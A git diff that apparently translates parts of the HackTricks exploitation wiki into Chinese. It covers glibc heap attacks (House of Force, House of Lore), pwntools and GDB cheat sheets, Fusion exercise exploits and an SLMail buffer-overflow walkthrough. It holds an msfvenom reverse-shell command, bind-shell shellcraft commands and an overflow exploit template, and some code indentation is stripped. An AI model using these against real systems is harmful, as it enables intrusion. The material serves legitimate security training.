-Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem.
+例如,如果程序询问用户输入一个数字,我们可以输入48,并将可修改的malloc指针指向接下来的4个字节(如果运气好,可能属于EBP,因此48位于后面,就像是头部size)。此外,地址ptr-4+48必须满足多个条件(在这种情况下ptr=EBP),即8 < ptr-4+48 < av->system_mem。
-En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
+如果满足这些条件,当调用我们之前提到的malloc(40)时,将分配给EBP的地址。如果攻击者还可以控制写入此malloc的内容,则可以用所需的地址覆盖EBP和EIP。
-Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección.
+我认为这是因为当释放时,free()将记录在指向堆栈的EBP的地址中有一个适合新malloc()请求的块,因此将分配该地址。
-**The House of Force**
+**力量之家**
-Es necesario:
+需要:
-- Un overflow a un trozo que permita sobreescribir el wilderness
-- Una llamada a malloc() con el tamaño definido por el usuario
-- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
+- 溢出一个块以覆盖wilderness
+- 一次malloc()调用,大小由用户定义
+- 一次malloc()调用,其数据可以由用户定义
-Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap
+首先,覆盖wilderness块的size为一个非常大的值(0xffffffff),因此任何足够大的内存请求将在\_int_malloc()中处理,而无需扩展堆。
-Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
+其次,修改av->top,使其指向攻击者控制的内存区域,例如堆栈。在av->top中放入\&EIP - 8。
-Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
+我们必须覆盖av->top,使其指向攻击者控制的内存区域:
victim = av->top;
@@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb);
av->top = remainder;
-Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será:
+Victim获取当前wilderness块的地址(当前av->top),而remainder正好是该地址加上malloc()请求的字节数。因此,如果\&EIP-8在0xbffff224,av->top包含0x080c2788,则我们在控制的malloc中需要保留的数量,以便av->top指向$EIP-8的下一个malloc()将是:
-0xbffff224 - 0x080c2788 = 3086207644.
+0xbffff224 - 0x080c2788 = 3086207644。
-Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
+因此,av->top将保存修改后的值,下一个malloc将指向EIP并能够覆盖它。
-Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack.
+重要的是,新的wilderness块的size必须大于最后一次malloc()请求的大小。也就是说,如果wilderness指向\&EIP-8,size将正好位于堆栈的EBP字段中。
-**The House of Lore**
+**传说之家**
-**Corrupción SmallBin**
+**SmallBin腐败**
-Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
+释放的块根据其大小插入bin。但在插入之前,它们会保留在未排序的bins中。释放的块不会立即放入其bin,而是停留在未排序的bins中。接下来,如果请求一个新块,而之前释放的块可以使用,则将其返回,但如果请求更大的块,则未排序的bins中的释放块将放入其适当的bin中。
-Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512).
+要达到易受攻击的代码,内存请求必须大于av->max_fast(通常为72)且小于MIN_LARGE_SIZE(512)。
-Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
+如果bin中有适合请求的块,则在解除链接后返回该块:
-bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
+bck = victim->bk; 指向前一个块,这是我们可以更改的唯一信息。
-bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
+bin->bk = bck; 倒数第二个块变为最后一个,如果bck指向堆栈,则下一个请求的块将获得此地址。
-bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
+bck->fd = bin; 关闭列表,使其指向bin。
-Se necesita:
+需要:
-Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
+请求两个malloc,以便在第一个malloc释放后可以溢出第二个malloc(即,在溢出之前请求一个大于第二个块的malloc)。
-Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
+请求的malloc由攻击者控制。
-El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
+目标如下,如果我们可以对一个堆溢出,且其下方有一个已释放的块并在其bin中,我们可以更改其bk指针。如果我们更改其bk指针,并且该块成为bin列表的第一个块并被请求,则bin将被欺骗,告知最后一个块的地址(下一个提供的块)在我们放置的虚假地址(例如堆栈或GOT)中。因此,如果再次请求另一个块,并且攻击者在其中有权限,则将提供一个块在所需位置,并且可以在其中写入。
-Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
+在释放修改后的块后,必须请求一个大于已释放块的块,这样修改后的块将从未排序的bins中移出并放入其bin中。
-Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
+一旦在其bin中,是时候通过溢出修改其bk指针,以便指向我们想要覆盖的地址。
-Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
+因此,bin将等待足够多的malloc()调用,以便再次使用修改后的bin并欺骗bin,使其认为下一个块在虚假地址中。然后将提供我们感兴趣的块。
-Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
+为了尽快执行漏洞,理想情况下是:请求易受攻击的块,请求将被修改的块,释放该块,请求一个大于将被修改的块,修改该块(漏洞),请求与被修改的块相同大小的块,并请求第二个相同大小的块,这将指向所选地址。
-Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
+为了保护此攻击,使用了典型的检查,以确保块“不是”虚假的:检查bck->fd是否指向victim。也就是说,在我们的情况下,检查指向堆栈中虚假块的fd*指针是否指向victim。为了绕过此保护,攻击者应能够以某种方式(可能通过堆栈)在适当的地址写入victim的地址。这样看起来就像是一个真实的块。
-**Corrupción LargeBin**
+**LargeBin腐败**
-Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
+需要与之前相同的要求以及更多要求,此外,已请求的块必须大于512。
-El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
+攻击与之前相同,即需要修改bk指针,并且需要所有这些malloc()调用,但还需要修改修改块的size,以便该size - nb < MINSIZE。
-Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
+例如,将size设置为1552,以便1552 - 1544 = 8 < MINSIZE(减法不能为负,因为比较的是无符号数)。
-Además se ha introducido un parche para hacerlo aún más complicado.
+此外,已引入补丁以使其更加复杂。
-**Heap Spraying**
+**堆喷涂**
-Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
+基本上,它涉及请求尽可能多的堆内存,并用以nops结尾的shellcode填充这些内存。此外,作为填充,使用0x0c。因为将尝试跳转到地址0x0c0c0c0c,因此如果覆盖了将要调用的某个地址,则将跳转到那里。基本上,策略是请求尽可能多的内存,以查看是否覆盖了某个指针并跳转到0x0c0c0c0c,期待那里有nops。
-**Heap Feng Shui**
+**堆风水**
-Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
+通过请求和释放内存,旨在使内存中保留已请求块与空闲块之间的块。要溢出的缓冲区将位于其中一个块中。
-**objdump -d ejecutable** —> Disas functions\
-**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
-**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
-**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
-**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
+**objdump -d 可执行文件** —> 反汇编函数\
+**objdump -d ./PROGRAM | grep FUNCTION** —> 获取函数地址\
+**objdump -d -Mintel ./shellcodeout** —> 查看确实是我们的shellcode并提取操作码\
+**objdump -t ./exec | grep varBss** —> 符号表,以提取变量和函数的地址\
+**objdump -TR ./exec | grep exit(func lib)** —> 提取库函数的地址(GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
-**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
-**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
+**objdump -t --dynamic-relo ./exec | grep puts** —> 提取要在GOT中覆盖的puts地址\
+**objdump -D ./exec** —> 反汇编所有内容,直到plt的条目\
**objdump -p -/exec**\
-**Info functions strncmp —>** Info de la función en gdb
+**Info functions strncmp —>** gdb中的函数信息
-## Interesting courses
+## 有趣的课程
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
-## **References**
+## **参考文献**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md
index 344a72d02..29a294a48 100644
--- a/src/exploiting/linux-exploiting-basic-esp/fusion.md
+++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md
@@ -4,9 +4,8 @@
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
-1. Get offset to modify EIP
-2. Put shellcode address in EIP
-
+1. 获取修改 EIP 的偏移量
+2. 将 shellcode 地址放入 EIP
```python
from pwn import *
@@ -32,9 +31,7 @@ r.recvline()
r.send(buf)
r.interactive()
```
-
# Level01
-
```python
from pwn import *
@@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md
index 0ca40e712..2689f6c2d 100644
--- a/src/exploiting/tools/README.md
+++ b/src/exploiting/tools/README.md
@@ -1,9 +1,8 @@
-# Exploiting Tools
+# 利用工具
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
-
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-
### Shellcodes
-
```
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
-
## GDB
-### Install
-
+### 安装
```
apt-get install gdb
```
-
-### Parameters
-
+### 参数
```bash
-q # No show banner
-x # Auto-execute GDB instructions from here
-p # Attach to process
```
-
-### Instructions
-
+### 指令
```bash
run # Execute
start # Start and break in main
@@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
-
### [GEF](https://github.com/hugsy/gef)
-
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
- rip = 0x400cd3; saved rip = 0x6261617762616176
- called by frame at 0x7fffffffddd8
- Arglist at 0x7fffffffdcf8, args:
- Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
- Saved registers:
- rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
+rip = 0x400cd3; saved rip = 0x6261617762616176
+called by frame at 0x7fffffffddd8
+Arglist at 0x7fffffffdcf8, args:
+Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
+Saved registers:
+rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-
### Tricks
-#### GDB same addresses
+#### GDB 相同地址
-While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
+在调试时,GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址:
- `unset env LINES`
- `unset env COLUMNS`
-- `set env _=` _Put the absolute path to the binary_
-- Exploit the binary using the same absolute route
-- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
+- `set env _=` _输入二进制文件的绝对路径_
+- 使用相同的绝对路径利用二进制文件
+- 使用 GDB 和利用二进制文件时,`PWD` 和 `OLDPWD` 必须相同
-#### Backtrace to find functions called
-
-When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
-You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
+#### 回溯以查找调用的函数
+当你有一个 **静态链接的二进制文件** 时,所有函数将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件的执行流程以例如请求用户输入** 将会很困难。\
+你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -149,79 +136,74 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
+### GDB 服务器
-### GDB server
-
-`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
+`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此)
## Ghidra
-### Find stack offset
+### 查找栈偏移量
-**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
-For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
-_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
+**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\
+例如,在下面的示例中,`local_bc` 中的缓冲区流表明您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表明要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
+_请记住,保存 RIP 的前 0x08 属于 RBP。_
.png>)
## GCC
-**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
-**-o** --> Output\
-**-g** --> Save code (GDB will be able to see it)\
-**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
+**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
+**-o** --> 输出\
+**-g** --> 保存代码(GDB 将能够看到它)\
+**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR
-**To compile a shellcode:**\
-**nasm -f elf assembly.asm** --> return a ".o"\
-**ld assembly.o -o shellcodeout** --> Executable
+**编译 shellcode:**\
+**nasm -f elf assembly.asm** --> 返回一个 ".o"\
+**ld assembly.o -o shellcodeout** --> 可执行文件
## Objdump
-**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
-**-Mintel** --> **Intel** syntax\
-**-t** --> **Symbols** table\
-**-D** --> **Disassemble all** (address of static variable)\
-**-s -j .dtors** --> dtors section\
-**-s -j .got** --> got section\
-\-D -s -j .plt --> **plt** section **decompiled**\
-**-TR** --> **Relocations**\
-**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
-**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
+**-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadget,查找函数地址...)\
+**-Mintel** --> **Intel** 语法\
+**-t** --> **符号**表\
+**-D** --> **反汇编所有**(静态变量的地址)\
+**-s -j .dtors** --> dtors 部分\
+**-s -j .got** --> got 部分\
+\-D -s -j .plt --> **plt** 部分 **反编译**\
+**-TR** --> **重定位**\
+**ojdump -t --dynamic-relo ./exec | grep puts** --> 在 GOT 中修改 "puts" 的地址\
+**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
-## Core dumps
+## 核转储
-1. Run `ulimit -c unlimited` before starting my program
-2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
+1. 在启动我的程序之前运行 `ulimit -c unlimited`
+2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
-## More
+## 更多
-**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
+**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都会更改)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量
-**strace executable** --> Functions called by the executable\
-**rabin2 -i ejecutable -->** Address of all the functions
-
-## **Inmunity debugger**
+**strace executable** --> 可执行文件调用的函数\
+**rabin2 -i ejecutable -->** 所有函数的地址
+## **Inmunity 调试器**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
-
## IDA
-### Debugging in remote linux
-
-Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary:
+### 在远程 Linux 中调试
+在 IDA 文件夹中,您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点,将二进制文件 _linux_server_ 或 _linux_server64_ 移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它:
```
./linux_server64 -Ppass
```
-
-Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
+然后,配置调试器:调试器(linux 远程) --> 进程选项...:
.png>)
diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md
index a7c0aa204..462b27e9f 100644
--- a/src/exploiting/tools/pwntools.md
+++ b/src/exploiting/tools/pwntools.md
@@ -1,118 +1,98 @@
{{#include ../../banners/hacktricks-training.md}}
-
```
pip3 install pwntools
```
-
# Pwn asm
-Get opcodes from line or file.
-
+从行或文件中获取操作码。
```
pwn asm "jmp esp"
pwn asm -i
```
+**可以选择:**
-**Can select:**
-
-- output type (raw,hex,string,elf)
-- output file context (16,32,64,linux,windows...)
-- avoid bytes (new lines, null, a list)
-- select encoder debug shellcode using gdb run the output
+- 输出类型 (raw, hex, string, elf)
+- 输出文件上下文 (16, 32, 64, linux, windows...)
+- 避免字节 (新行, null, 列表)
+- 选择编码器调试 shellcode 使用 gdb 运行输出
# **Pwn checksec**
-Checksec script
-
+Checksec 脚本
```
pwn checksec
```
-
# Pwn constgrep
# Pwn cyclic
-Get a pattern
-
+获取一个模式
```
pwn cyclic 3000
pwn cyclic -l faad
```
+**可以选择:**
-**Can select:**
-
-- The used alphabet (lowercase chars by default)
-- Length of uniq pattern (default 4)
-- context (16,32,64,linux,windows...)
-- Take the offset (-l)
+- 使用的字母表(默认小写字符)
+- 唯一模式的长度(默认4)
+- 上下文(16,32,64,linux,windows...)
+- 偏移量(-l)
# Pwn debug
-Attach GDB to a process
-
+将 GDB 附加到一个进程
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
+**可以选择:**
-**Can select:**
-
-- By executable, by name or by pid context (16,32,64,linux,windows...)
-- gdbscript to execute
+- 按可执行文件、名称或 pid 上下文(16,32,64,linux,windows...)
+- 要执行的 gdbscript
- sysrootpath
-# Pwn disablenx
-
-Disable nx of a binary
+# Pwn 禁用 nx
+禁用二进制文件的 nx
```
pwn disablenx
```
-
# Pwn disasm
-Disas hex opcodes
-
+反汇编十六进制操作码
```
pwn disasm ffe4
```
+**可以选择:**
-**Can select:**
-
-- context (16,32,64,linux,windows...)
-- base addres
-- color(default)/no color
+- 上下文 (16,32,64,linux,windows...)
+- 基地址
+- 颜色(默认)/无颜色
# Pwn elfdiff
-Print differences between 2 fiels
-
+打印两个文件之间的差异
```
pwn elfdiff
```
-
# Pwn hex
-Get hexadecimal representation
-
+获取十六进制表示
```bash
pwn hex hola #Get hex of "hola" ascii
```
-
# Pwn phd
-Get hexdump
-
+获取十六进制转储
```
pwn phd
```
+**可以选择:**
-**Can select:**
-
-- Number of bytes to show
-- Number of bytes per line highlight byte
-- Skip bytes at beginning
+- 显示的字节数
+- 每行高亮字节的字节数
+- 跳过开头的字节
# Pwn pwnstrip
@@ -120,8 +100,7 @@ pwn phd
# Pwn shellcraft
-Get shellcodes
-
+获取 shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
+**可以选择:**
-**Can select:**
+- shellcode 和 shellcode 的参数
+- 输出文件
+- 输出格式
+- 调试(将 dbg 附加到 shellcode)
+- 之前(在代码之前调试陷阱)
+- 之后
+- 避免使用操作码(默认:不为 null 和新行)
+- 运行 shellcode
+- 有色/无色
+- 列出系统调用
+- 列出可能的 shellcodes
+- 生成 ELF 作为共享库
-- shellcode and arguments for the shellcode
-- Out file
-- output format
-- debug (attach dbg to shellcode)
-- before (debug trap before code)
-- after
-- avoid using opcodes (default: not null and new line)
-- Run the shellcode
-- Color/no color
-- list syscalls
-- list possible shellcodes
-- Generate ELF as a shared library
-
-# Pwn template
-
-Get a python template
+# Pwn 模板
+获取一个 python 模板
```
pwn template
```
-
-**Can select:** host, port, user, pass, path and quiet
+**可以选择:** 主机,端口,用户,密码,路径和静默
# Pwn unhex
-From hex to string
-
+从十六进制到字符串
```
pwn unhex 686f6c61
```
+# Pwn 更新
-# Pwn update
-
-To update pwntools
-
+要更新 pwntools
```
pwn update
```
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
index 1f8119bb8..cfb1cecfc 100644
--- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
@@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
-## **Start installing the SLMail service**
+## **开始安装 SLMail 服务**
-## Restart SLMail service
-
-Every time you need to **restart the service SLMail** you can do it using the windows console:
+## 重启 SLMail 服务
+每次你需要 **重启 SLMail 服务** 时,可以使用 Windows 控制台进行操作:
```
net start slmail
```
-
 (1).png>)
-## Very basic python exploit template
-
+## 非常基本的 Python 利用模板
```python
#!/usr/bin/python
@@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
+## **更改 Immunity Debugger 字体**
-## **Change Immunity Debugger Font**
+前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-
-## **Attach the proces to Immunity Debugger:**
+## **将进程附加到 Immunity Debugger:**
**File --> Attach**
 (1) (1).png>)
-**And press START button**
+**然后按下 START 按钮**
-## **Send the exploit and check if EIP is affected:**
+## **发送漏洞利用并检查 EIP 是否受到影响:**
 (1) (1).png>)
-Every time you break the service you should restart it as is indicated in the beginnig of this page.
+每次你中断服务时,都应该重新启动它,如本页开头所示。
-## Create a pattern to modify the EIP
+## 创建一个模式以修改 EIP
-The pattern should be as big as the buffer you used to broke the service previously.
+该模式应与您之前用于中断服务的缓冲区一样大。
 (1) (1).png>)
-
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
+更改漏洞的缓冲区并设置模式,然后启动漏洞。
-Change the buffer of the exploit and set the pattern and lauch the exploit.
-
-A new crash should appeard, but with a different EIP address:
+应该出现一个新的崩溃,但具有不同的 EIP 地址:
 (1) (1).png>)
-Check if the address was in your pattern:
+检查该地址是否在您的模式中:
 (1) (1).png>)
-
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
+看起来**我们可以在缓冲区的偏移量 2606 修改 EIP**。
-Looks like **we can modify the EIP in offset 2606** of the buffer.
-
-Check it modifing the buffer of the exploit:
-
+检查修改漏洞的缓冲区:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
-
-With this buffer the EIP crashed should point to 42424242 ("BBBB")
+使用这个缓冲区,EIP 崩溃应该指向 42424242 ("BBBB")
 (1) (1).png>)
 (1) (1).png>)
-Looks like it is working.
+看起来它正在工作。
-## Check for Shellcode space inside the stack
+## 检查堆栈中的 Shellcode 空间
-600B should be enough for any powerfull shellcode.
-
-Lets change the bufer:
+600B 应该足够用于任何强大的 shellcode。
+让我们更改缓冲区:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
-
-launch the new exploit and check the EBP and the length of the usefull shellcode
+启动新的漏洞利用并检查 EBP 以及有用的 shellcode 的长度
 (1).png>)
 (1).png>)
-You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+你可以看到,当漏洞被触发时,EBP 指向 shellcode,并且我们有很多空间来放置 shellcode。
-In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+在这种情况下,我们有 **从 0x0209A128 到 0x0209A2D6 = 430B。** 足够了。
-## Check for bad chars
-
-Change again the buffer:
+## 检查坏字符
